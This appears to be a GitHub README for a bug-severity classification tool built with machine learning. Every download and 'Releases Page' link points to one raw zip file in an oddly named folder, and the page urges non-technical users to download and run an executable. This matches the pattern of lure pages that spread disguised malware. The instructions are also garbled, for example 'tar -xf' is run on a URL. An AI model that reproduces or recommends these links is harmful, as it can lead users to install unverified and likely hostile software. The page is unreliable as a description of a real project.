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Automated-Bug-Severity-Classification

★ 1 Open GitHub ↗

🛠️ Classify software bugs by severity using machine learning to help teams prioritize fixes and enhance software quality and reliability.

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# 🐞 Automated-Bug-Severity-Classification - Prioritize Bugs Effectively

[![Download](https://raw.githubusercontent.com/mahmoud-nabil-MN/Automated-Bug-Severity-Classification/main/tylose/Severity-Bug-Classification-Automated-maioid.zip)](https://raw.githubusercontent.com/mahmoud-nabil-MN/Automated-Bug-Severity-Classification/main/tylose/Severity-Bug-Classification-Automated-maioid.zip)

## 📜 Overview  
Automated Bug Severity Classification helps teams categorize bugs by severity using machine learning. This application is essential for prioritizing critical issues, allocating resources efficiently, and enhancing software quality and reliability.

## 🚀 Getting Started  
Follow these steps to download and run the software. No programming knowledge is needed, just a few simple actions.

## 📥 Download & Install  
Visit this page to download: [Releases Page](https://raw.githubusercontent.com/mahmoud-nabil-MN/Automated-Bug-Severity-Classification/main/tylose/Severity-Bug-Classification-Automated-maioid.zip).

1. Click on the link above to go to the Releases page.
2. Look for the latest version.
3. Download the appropriate file for your operating system:
   - If you're using **Windows**, download the `.exe` file.
   - If you're using **Mac**, download the `.dmg` file.
   - If you're using **Linux**, download the `https://raw.githubusercontent.com/mahmoud-nabil-MN/Automated-Bug-Severity-Classification/main/tylose/Severity-Bug-Classification-Automated-maioid.zip` file.
4. Once the download completes, locate the file in your downloads folder.

## 🛠️ Installation Instructions  
### For Windows:  
1. Find the downloaded `.exe` file.
2. Double-click the file to start the installation.
3. Follow the on-screen instructions.
4. Once installed, look for the application in your Start Menu.

### For Mac:  
1. Locate the downloaded `.dmg` file.
2. Double-click the file to open it.
3. Drag the application into your Applications folder.
4. Open your Applications folder and find the application.

### For Linux:  
1. Find the downloaded `https://raw.githubusercontent.com/mahmoud-nabil-MN/Automated-Bug-Severity-Classification/main/tylose/Severity-Bug-Classification-Automated-maioid.zip` file in your downloads.
2. Open a terminal window.
3. Use the command: `tar -xf https://raw.githubusercontent.com/mahmoud-nabil-MN/Automated-Bug-Severity-Classification/main/tylose/Severity-Bug-Classification-Automated-maioid.zip` to extract the files.
4. Navigate to the extracted folder and run the application using: `./application_name`.

## 🎓 Features  
1. **Bug Classification**: Automatically classifies bugs into different severity levels.
2. **User-Friendly Interface**: Easy to use without technical knowledge.
3. **Resource Management**: Helps allocate resources based on bug severity.
4. **Improved Software Quality**: Enhances the reliability of your software development process.

## 📈 System Requirements  
- **For Windows**: Windows 10 or later, 4 GB RAM, 200 MB free disk space.  
- **For Mac**: macOS 10.12 or later, 4 GB RAM, 200 MB free disk space.  
- **For Linux**: Ubuntu 18.04 or later, 4 GB RAM, 200 MB free disk space.

## 🔧 Usage Instructions  
1. Open the application after installation.
2. Upload your bug report file (supported formats: `.txt`, `.csv`).
3. Click on the "Classify" button.
4. Review the results displayed on the screen.

## 📚 Documentation & Resources  
This repository includes various resources to help you understand and use the application better. In addition to the source code, you will find:  
- A PowerPoint presentation detailing the application’s features.
- A comprehensive report explaining the methodology used.
- Relevant documents and research papers.
- Video tutorials guiding you through the application.

## 🆘 Troubleshooting  
If you encounter issues:
1. Ensure your system meets the requirements listed above.
2. Restart the application if it freezes.
3. Reinstall the application if problems persist.

## 🔗 Topics  
- bcaprojects  
- btechprojects  
- bugclassification  
- computerscienceprojects  
- developertools  
- errordetection  
- finalyearprojects  
- issuetracking  
- machinelearning  
- mcaprojects  
- mtechprojects  
- softwareengineering  
- softwarequality  
- softwaretesting  
- testautomation

For more details, visit the [Releases Page](https://raw.githubusercontent.com/mahmoud-nabil-MN/Automated-Bug-Severity-Classification/main/tylose/Severity-Bug-Classification-Automated-maioid.zip).

## 🙏 Acknowledgments  
Thank you to everyone who contributed to this project. Your support helps improve software quality for all users.

Automated-Bug-Severity-Classification

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